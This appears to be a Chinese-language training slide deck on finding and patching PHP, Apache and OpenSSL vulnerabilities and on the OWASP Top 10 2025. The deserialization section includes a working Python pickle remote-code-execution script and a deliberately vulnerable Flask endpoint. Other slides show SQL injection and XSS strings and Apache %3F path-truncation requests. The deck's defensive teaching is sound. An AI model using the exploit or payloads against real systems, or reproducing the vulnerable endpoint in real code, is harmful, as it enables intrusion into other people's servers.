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Agenda

•常見主機弱點檢視與修補
• PHP及Apache CVE弱點解析

• OWASP TOP 10 2025 風險
• React2Shell弱點解析
•網站弱點原理與修補

•弱點實務案例

•弱點修補心得分享與交流
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漏洞通報平臺之弱點

Source: https://zeroday.hitcon.org/vulnerability/page/4
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1. 常見主機弱點檢視與修補
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PHP Unsupported Version Detection
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PHP Unsupported Version Detection (1/2)



7

PHP Unsupported Version Detection (2/2)

https://www.php.net/eol.php
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PHP 支援版本

https://www.php.net/supported-versions.php
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PHP Unsupported Version 弱點修補

• 例如 PHP 7.4 → PHP 8.3

• 直接升級可能遇到：
• Fatal error

• Deprecated APIs

• Changed type behavior

• Dependency conflict

• Framework incompatibility
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官方版本升級參考文件

https://www.php.net/manual/en/migration80.php
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弱點修補提醒

• 先在測試機測試，勿直接於正式機進行升級

• 保留原始程式
• 版本控制

• 資料備份

• 升級完成後功能性測試宜完整
• 各項功能測試

• 大部份都正常運作，不表示沒問題

• 預留使用者測試時間
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緩解措施 (Mitigation)

• 限制來源 IP

• 關閉非必要服務

• 加強 WAF及監控機制

• 排定更新期程及進行更新計畫
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弱點探討：CVE-2019-11043

https://nvd.nist.gov/vuln/detail/cve-2019-11043
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Nessus 掃瞄之弱點
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PHP 7.2.10
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任意程式碼執行 (RCE)
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弱點探討：CVE-2024-4577

➢ PHP 程式語言在設計時忽略 Windows 作業系統內部對字元編碼轉
換的 Best-Fit 特性，導致未認證的攻擊者可透過特定的字元序列繞
過舊有 CVE-2012-1823 的保護

➢ 造成影響
• 遠端 PHP 伺服器上執行任意程式碼 (RCE)

• Apache and PHP-CGI on Windows
• if the system is set up to use certain code pages

➢ 影響版本
• 8.1.* before 8.1.29

• 8.2.* before 8.2.20

• 8.3.* before 8.3.8

17Source:https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/
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PHP版本更新前
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Windows PHP 版本更新 (1/2)

https://www.php.net/downloads.php?os=windows
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Windows PHP 版本更新 (2/2)
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取代舊版PHP資料夾
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取代php.ini
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啟動Apache 錯誤
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PHP安裝說明
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安裝VC套件
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再次遇到錯誤
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確認PHP更新後之版本
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Linux 更新PHP

• 先在測試機進行測試

• 使用apt update進行更新

• 可單獨更新PHP及其相關套件

• 更新後，測試程式功能是否正常
• 進行程式語法修改
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Apache 2.4.x < 2.4.60 Multiple Vulnerabilities
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CVE-2024-38474 弱點

用 %3F 截斷 RewriteRule 強制附加的後綴
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CVE-2024-38475 弱點

URL 指向不該直接存取的實體檔案
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具弱點之Apache版本



33

Apache設定檔

RewriteEngine On

RewriteRule ^/doc/(.*)$ /$1.pdf [L]
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正常使用情境

網站根目錄
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路徑截斷 (CVE-2024-38474)

使用%3f截斷 .pdf 規則限制，可存取到 .txt 檔案

存取網站根目錄下的 demo.txt.pdf (X)

… [authz_core:error] …client denied by server 

configuration: /test.pdf
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預設Apache (Debian Linux) 設定檔

apache2.conf
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CVE-2024-38475 (1/2)

會讀取：
1. 先讀取根目錄的test.pdf (/test.pdf)

2. 再讀取網站根目錄下的test.pdf 

(/var/www/html/test.pdf
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CVE-2024-38475 (2/2)

… "GET /doc/usr/share/test2 HTTP/1.1" 200 19267 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like 

Gecko) Chrome/146.0.0.0 Safari/537.36"
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讀取非預期檔案
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Apache版本升級後 (1/3)
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Apache版本升級後 (2/3)

Sat Jul 11 05:08:11.643531 2026] [rewrite:error] [pid 17:tid 17] 

[client 172.24.0.1:38162] AH10508: Unsafe URL with %3f URL 

rewritten without UnsafeAllow3F

[11/Jul/2026:05:08:11 +0000] "GET /doc/usr/share/flag.txt%3f 

HTTP/1.1" 403 533 "-" "Mozilla/5.0 (X11; Linux x86_64; 

rv:140.0) Gecko/20100101 Firefox/140.0"
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Apache版本升級後 (3/3)

https://httpd.apache.org/security/vulnerabilities_24.html
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OpenSSL 3.0.0 < 3.0.20 Multiple Vulnerabilities



44

弱點說明
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Ubuntu OpenSSL vulnerabilities
Ubuntu Security Notice (Ubuntu 安全公告)
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Ubuntu OpenSSL vulnerabilities
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Ubuntu OpenSSL vulnerabilities
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OpenSSL 版本確認 (1/2)

• Linux 平臺 (Ubuntu)

• openssl version -a
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OpenSSL 版本確認 (2/2)

• dpkg-query -W -f='${Package} ${Version}\n' openssl libssl3t64

OpenSSL 共用函式庫
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升級OpenSSL 套件
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升級OpenSSL 套件
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OpenSSL 套件升級後
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網站OpenSSL 版本確認

• curl -vk https://xxx.xxx.edu.tw/ 
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網站 OpenSSL 版本確認
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Windows OpenSSL 版本確認
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確認使用到的套件



57

OpenSSL 套件

• Windows 
• https://slproweb.com/products/Win32OpenSSL.html

• Linux
• https://github.com/openssl/openssl/releases
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版本升級注意事項

• 升級前備份 (重要)
• 如VM快照

• 可先在測試機進行驗證

• 先確認真正使用OpenSSL的元件

• 進行套件或作業系統更新，不建議直接更換DLL或SO檔案

• 升級後進行服務重新啟動

• 再次進行弱點掃瞄(複掃)，確保已修復
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TLS / SWEET32 弱點
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SWEET32 弱點 (1/2)
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SWEET32 弱點 (2/2)

• 服務支援使用中強度加密：長度為 64 至 112 位元間的金鑰或使用
3DES 加密套件



62

常見中風險弱點 – TLS 1.0 & 1.1
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設定工具IIS Crypto 4.0
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2. OWASP TOP 10:2025 弱點風險

• 通用弱點列表(CWE)
• OWASP TOP 10:2025 弱點風險與案例
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OWASP Top 10 2025 介紹

https://owasp.org/Top10/2025/0x00_2025-Introduction/
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通用弱點列表 CWE (1/2)

• CWE (Common Weakness Enumeration): 通用弱點列表

• 提供詳細弱點說明

• 命令注入(Path Traversal)
• CWE-78: OS Command Injection

• https://cwe.mitre.org/data/definitions/78.html 

• OWASP TOP 10對應

Source: https://cwe.mitre.org/data/definitions/78.html
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通用弱點列表 CWE (2/2)

• 詳細弱點說明 (OS Command Injection)

Source: https://cwe.mitre.org/data/definitions/78.html
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A01:2025 – 權限控制失效 (Broken Access Control)

• 執行帳號預期權限之外的事
• 未經授權的資訊洩露、修改或損壞所有資料
• 執行超出用戶權限的業務功能

• 可對應CWE列表
• CWE-22 Improper Limitation of a Pathname to a Restricted Directory 

('Path Traversal')
• CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
• CWE-284 Improper Access Control 
• CWE-918 Server-Side Request Forgery (SSRF)

• Example
• IDOR (Insecure direct object references ，不安全的直接物件參考)
• CVE-2025-29927

Source: https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/
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水平權限提升案例

移除disabled屬性後

• https://zeroday.hitcon.org/vulnerability/ZD-2022-00126
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Google Ads案例

• https://www.youtube.com/watch?v=G3bNbYRTxZM

Source: https://www.ithome.com.tw/news/142175

IDOR弱點，知道影片
ID可取得私人影片內容
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IDOR 弱點

Source: https://zeroday.hitcon.org/api/vulnerability/12992/attachments/5070f44b8eddbc6884c5427521e6eebb

ip=1 → ip=3
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無須登入即可下載機敏資料

https://zeroday.hitcon.org/vulnerability/ZD-2025-00080

在URL後面加上.csv即可再未登入的情況下下載檔案。
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SSRF (Server-Side Request Forgery)

存取內部資料

Server

SSRF
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SSRF列舉內網IP 實例

• https://zeroday.hitcon.org/vulnerability/ZD-2022-00657 SSRF攻擊列舉內網 IP
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SSRF 案例

https://zeroday.hitcon.org/vulnerability/ZD-2025-00354
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A02:2025 –安全設定缺陷(Security Misconfiguration)

• 不必要的功能啟用或是安裝 (如Debug功能)

• 系統發生錯誤時揭露過多錯誤訊息 (如stack traces)

• 可對應CWE列表
• CWE-260 Password in Configuration File

• CWE-611 Improper Restriction of XML External Entity Reference

• Example
• 系統Debug模式未關閉，顯示過多詳細資訊

• XXE (XML External Entity)

Source: https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/
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使用預設帳密

• https://zeroday.hitcon.org/vulnerability/ZD-2020-00738



78

XXE 弱點 (1/2)

Source: https://zeroday.hitcon.org/vulnerability/ZD-2024-00776
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XXE 弱點 (2/2)

Source: https://zeroday.hitcon.org/vulnerability/ZD-2024-00776
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A03:2025 – 軟體供應鏈失效 (Software Supply 
Chain Failures)

• 第三方軟體開發、發布、更新或依賴元件的過程中發生安全缺陷
或遭駭客竄改

• 容易受到攻擊、已不支援或已淘汰的軟體
• 可對應CWE列表

• CWE-937 OWASP Top 10 2013: Using Components with Known 
Vulnerabilities

• CWE-1035 2017 Top 10 A9: Using Components with Known 
Vulnerabilities

• Example
• LiteLLM, Axios
• Apache版本過舊, Log4j
• CVE-2024-3094 (XZ Utils)

Source: https://owasp.org/Top10/2025/A03_2025-Software_Supply_Chain_Failures/
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LiteLLM 套件案例

Source: https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=12785
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Axios 套件案例

Source: https://www.trendmicro.com/zh_tw/research/26/c/axios-npm-package-compromised.html
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jQuery套件版本過舊
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底層軟體MyBB為
有漏洞的過期版本，
出現了PHP零時差
漏洞，由於未能安
裝最新版，可能遭
到第三方組織或是
執法機關存取

https://www.ithome.com.tw/news/168714
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A04:2025 –加密機制失效(Cryptographic Failures)

• 聚焦於密碼學相關的失效(或缺乏加密)，導致敏感資料的洩漏

• 可對應CWE列表
• CWE-261 Weak Encoding for Password

• CWE-319 Cleartext Transmission of Sensitive Information

• Example
• Weak Hashing

• HTTP / FTP / TELNET (明文傳輸)

• 弱加密演算法

• CVE-2022-21449

Source: https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/
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帳密以明碼傳輸

• https://zeroday.hitcon.org/vulnerability/ZD-2016-00187
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A05:2025 –注入式攻擊(Injection)

• 注入攻擊 (injection attack)

• 可對應CWE列表
• CWE-78 Improper Neutralization of Special Elements used in an OS 

Command ('OS Command Injection')
• CWE-79 Improper Neutralization of Input During Web Page Generation 

('Cross-site Scripting')
• CWE-89: Improper Neutralization of Special Elements used in an SQL 

Command ('SQL Injection')

• Example
• SQL injection
• Cross Site Scripting (XSS)
• OS Command injection
• CVE-2023-34362

Source: https://owasp.org/Top10/2025/A05_2025-Injection/
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SQL Injection 實例

https://zeroday.hitcon.org/api/vulnerability/11173/attachments/4f71e7ecf65ab4e0d52ecf2289dacdc5
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案例：CVE-2025-46337 (1/3)
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案例：CVE-2025-46337 (2/3)
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案例：CVE-2025-46337 (3/3)

https://www.php.net/manual/en/function.pg-escape-identifier.php
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SQL injection 防護

• Use Parameterized Statements (參數化查詢) 

function prepareQueryDB($user,$pass)

{

global $pdo;

$stmt = $pdo->prepare('SELECT * FROM members WHERE 

user = ? AND pass = ?');

$stmt->execute([$user, $pass]);

return $stmt->rowCount();

}
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字串串接(string concatenation)

輸入參數視為查詢語法 (SQLi)

' or 1=1-- -

' or 1=1-- -

注入字串

後端資料庫
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參數化查詢 (prepared statement)

輸入參數視為資料查詢 (Safe!)

' or 1=1-- -

\' or 1=1-- -

注入字串

後端資料庫

user \' or 1=1-- - 是否存在
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SQL injection 防護措施參考

➢Defense in Depth (緃深防禦)
● 輸入淨化 (input sanitization)

● 輸入驗證 (input validation)

● 參數化查詢 (prepared statement)

● 最小權限原則 (Principle of Least Privilege)

● 使用 WAF (Web Application Firewall) 防護

● 安全程式設計及開發 (SSDLC) 
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XSS攻擊分類

• Reflected XSS (反射型)
• 非儲存於資料庫，會由伺服器渲染(Render)後，立即將結果反映回使用者端
• Server-Side injection

• Non-Persistent XSS

• Stored XSS (儲存型)
• 程式碼於執行前，先被儲存於系統之資料庫中，如新增惡意語法如網站留言版
• Server-Side injection

• Persistent XSS

• DOM-based XSS (DOM型)
• 由瀏覽器保存並執行
• 使用DOM API 更改網頁內容
• Client-side injection
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反射型 XSS 案例

https://zeroday.hitcon.org/vulnerability/ZD-2021-00778

語法代入ID參數
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儲存型 (Stored) XSS

1
2

https://www.aptive.co.uk/blog/xss-cross-site-scripting/

DB



99

儲存型 (Stored) XSS 案例

• https://zeroday.hitcon.org/vulnerability/ZD-2021-00691

XSS語法儲存於資料庫中

瀏覽留言頁即可觸發XSS，執行Javascript
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XSS弱點防護參考 (1/5)

• Output Encoding (輸出前先做編碼)

Character Entity Encoding

" &quot; 

& &amp; 

' &apos;

< &lt; 

> &gt; 

<div class="comment"> 

&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt; 

</div> 

<div class="comment"> 

<script>alert("XSS")</script> 

</div> 

Source:https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
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XSS弱點防護參考 (2/5)

• 使用 DOMPurify套件對使用者輸入字串進行淨化 (sanitization)
• https://github.com/cure53/DOMPurify

https://letswritetw.github.io/letswrite-dompurify/
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XSS弱點防護參考 (3/5)

• Cookie設定HttpOnly屬性
• 無法以JavaScript讀取Cookie值

• 設定 CSP, Content Security Policy (內容安全政策)

• 給瀏覽器看的header

• 列白名單告訴瀏覽器那些來源(Origin)可被信任
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CSP (Content Security Policy)

• https://content-security-policy.com/

可被信任的網站

default-src: 除非另外指定，否則只允許來自同源(self)的資源被載入
(包括圖片、JS、CSS、iframe、字型等)

https://content-security-policy.com/
https://content-security-policy.com/
https://content-security-policy.com/
https://content-security-policy.com/
https://content-security-policy.com/
https://content-security-policy.com/
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XSS弱點防護參考 (4/5)
• CSP防護實例

Source: https://hackerone.com/reports/449351

被CSP所阻擋
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XSS弱點防護參考 (5/5)

• CSP 設定不正確，存在可能被繞過風險
• 如unsafe-inline

• 檢查CSP設定
• https://csp-evaluator.withgoogle.com/
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XSS弱點防護參考實例 (Html Encoding)

輸出前先做html encoding

直接輸出結果
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XSS弱點防護使用DOMPurify套件
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XSS弱點防護參考實例 (HttpOnly)

設定 HttpOnly header未設定 HttpOnly header
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XSS弱點防護參考實例 (CSP)

設定 CSP規則未設定 CSP規則
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A06:2025 –不安全設計(Insecure Design)

• 應用程式設計缺陷與架構中的風險

• 可對應CWE列表
• CWE-209 Generation of Error Message Containing Sensitive 

Information

• CWE-434 Unrestricted Upload of File with Dangerous Type

• Example
• 可上傳惡意程式

• CVE-2023-50164

Source: https://owasp.org/Top10/2025/A06_2025-Insecure_Design/
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可上傳惡意程式

• https://zeroday.hitcon.org/vulnerability/ZD-2021-00427
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A07:2025 – 認證失效(Authentication Failures)

• 應用程式在驗證使用者身分及管理會話（Session）時的安全性缺陷
• 允許暴力或其他自動化攻擊
• 無效的多因素認證

• 可對應CWE列表
• CWE-259 Use of Hard-coded Password
• CWE-287 Improper Authentication
• CWE-384 Session Fixation

• 登入後的Session ID仍一樣

• Example
• 認證機制繞過弱點
• CVE-2023-35078

Source: https://owasp.org/Top10/2025/A07_2025-Authentication_Failures/
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認證繞過案例 (1/2)

• https://www.rapid7.com/db/vulnerabilities/zoho-corp-manageengine-servicedesk-plus-
cve-2021-37415/
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認證繞過案例 (2/2)

• https://zh-tw.tenable.com/plugins/nessus/271956



115 Source: https://www.ithome.com.tw/news/166258
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A08:2025 –軟體或資料完整性失效
(Software or Data Integrity Failures)

• 程式碼或基礎架構未能保護軟體及資料之完整性受到破壞
• 物件或資料經編碼或序列化到一個對攻擊者可讀寫之結構中將導致不安
全的反序列化

• 應用程式依賴來自於不受信任來源，典藏庫及內容遞送網路之外掛，函
式庫或模組

• 可對應CWE列表
• CWE-502 Deserialization of Untrusted Data

• Example
• 反序列化 (Deserialization)

• React2Shell (CVE-2025-55182)

Source: https://owasp.org/Top10/2025/A08_2025-Software_or_Data_Integrity_Failures/
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反序列化弱點 (Deserialization)

⮚ 序列化
◦ 將物件狀態轉換為可保存或可傳輸格式的形式

⮚ Python序列化
◦ 透過pickle標準函式庫

⮚ 序列化

⮚ 反序列化
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反序列化弱點 Demo (1/2)

# Flask Pickle vulnerable app example using POST method

import pickle

import base64

from flask import Flask, request

app = Flask(__name__)

@app.route("/vulnerable", methods=["POST"])

def vulnerable():

data = base64.urlsafe_b64decode(request.form['pickled'])

pickle.loads(data)

return '', 204
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import pickle

import base64

import requests

import sys

class PickleRCE(object):

def __reduce__(self):

import os

return (os.system,(command,))

default_url = 'http://127.0.0.1:5000/vulnerable'

url = sys.argv[1] if len(sys.argv) > 1 else default_url

command = 'touch /tmp/test'  # Command to be executed

pickled = 'pickled'  # This is the POST parameter of our vulnerable Flask app

payload = base64.b64encode(pickle.dumps(PickleRCE()))  # Crafting Payload

requests.post(url, data={pickled: payload})  # Sending POST request

反序列化弱點 Demo (2/2)
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反序列化弱點實例 (1/2)

• https://zeroday.hitcon.org/vulnerability/ZD-2018-01326

DNS Query
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反序列化弱點實例 (2/2)

成功執行指令
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React2Shell (CVE-2025-55182)

Source: https://www.ithome.com.tw/news/174883
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CVE-2025-55182 弱點 (1/3)

123
Source:https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-

components?fbclid=IwZXh0bgNhZW0CMTEAYnJpZBExTWtlSlhUZk9uNXZwbFR4anNydGMGYXBwX2lkDDI1NjI4MTA0MDU1OAABHgWv5BhKcPhGQmK554nerx7WMgWr68YgcigB0uivxwrsLNFwCk6GQsNqbh4d_a

em_ZmFrZWR1bW15MTZieXRlcw

不安全的反序列化
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CVE-2025-55182 弱點 (2/3)

124
Source:https://www.trendmicro.com/zh_tw/research/25/l/critical-react-server-components-vulnerability.html
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CVE-2025-55182 弱點 (3/3)

125
Source:https://www.trendmicro.com/zh_tw/research/25/l/critical-react-server-components-vulnerability.html
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CVE-2025-55182 弱點影響
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A09:2025 –安全紀錄與告警失效
(Security Logging & Alerting Failures)

• 僅記錄日誌是不夠的，系統必須具備有效的告警機制
• Auditable events, such as logins, failed logins, and high-value 

transactions, are not logged.
• Logs of applications and APIs are not monitored for suspicious activity.
• The application cannot detect, escalate, or alert for active attacks in 

real-time or near real-time

• 可對應CWE列表
• CWE-117: Improper Output Neutralization for Logs
• CWE-778 Insufficient Logging

• Example
• 登入失敗未紀錄log
• CVE-2025-59476

Source: https://owasp.org/Top10/2025/A09_2025-Security_Logging_and_Alerting_Failures/
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未紀錄足夠的log資訊
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A10:2025 – 異常情況處理不當
(Mishandling of Exceptional Conditions)

• 應用程式無法預期、偵測或安全地回應不尋常的錯誤情境
• 2025年新類別
• Send a crafted request to an unexpected destination 

• protected by a firewall, VPN, or another type of network access control list 
(ACL)

• 可對應CWE列表
• CWE-209 Generation of Error Message Containing Sensitive Information (錯
誤訊息含敏感資訊)

• CWE-248: Uncaught Exception
• CWE-636 Not Failing Securely ('Failing Open')
• Example

• CVE-2023-41151

Source: https://owasp.org/Top10/2025/A10_2025-Mishandling_of_Exceptional_Conditions/
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詳細錯誤訊息案例

Source: https://zeroday.hitcon.org/api/vulnerability/4039/attachments/7f021750d66574680332ae6f326ad08a
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案例 (CVE-2023-41151)

Source: https://nvd.nist.gov/vuln/detail/CVE-2023-41151
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問題討論



THANK YOU !
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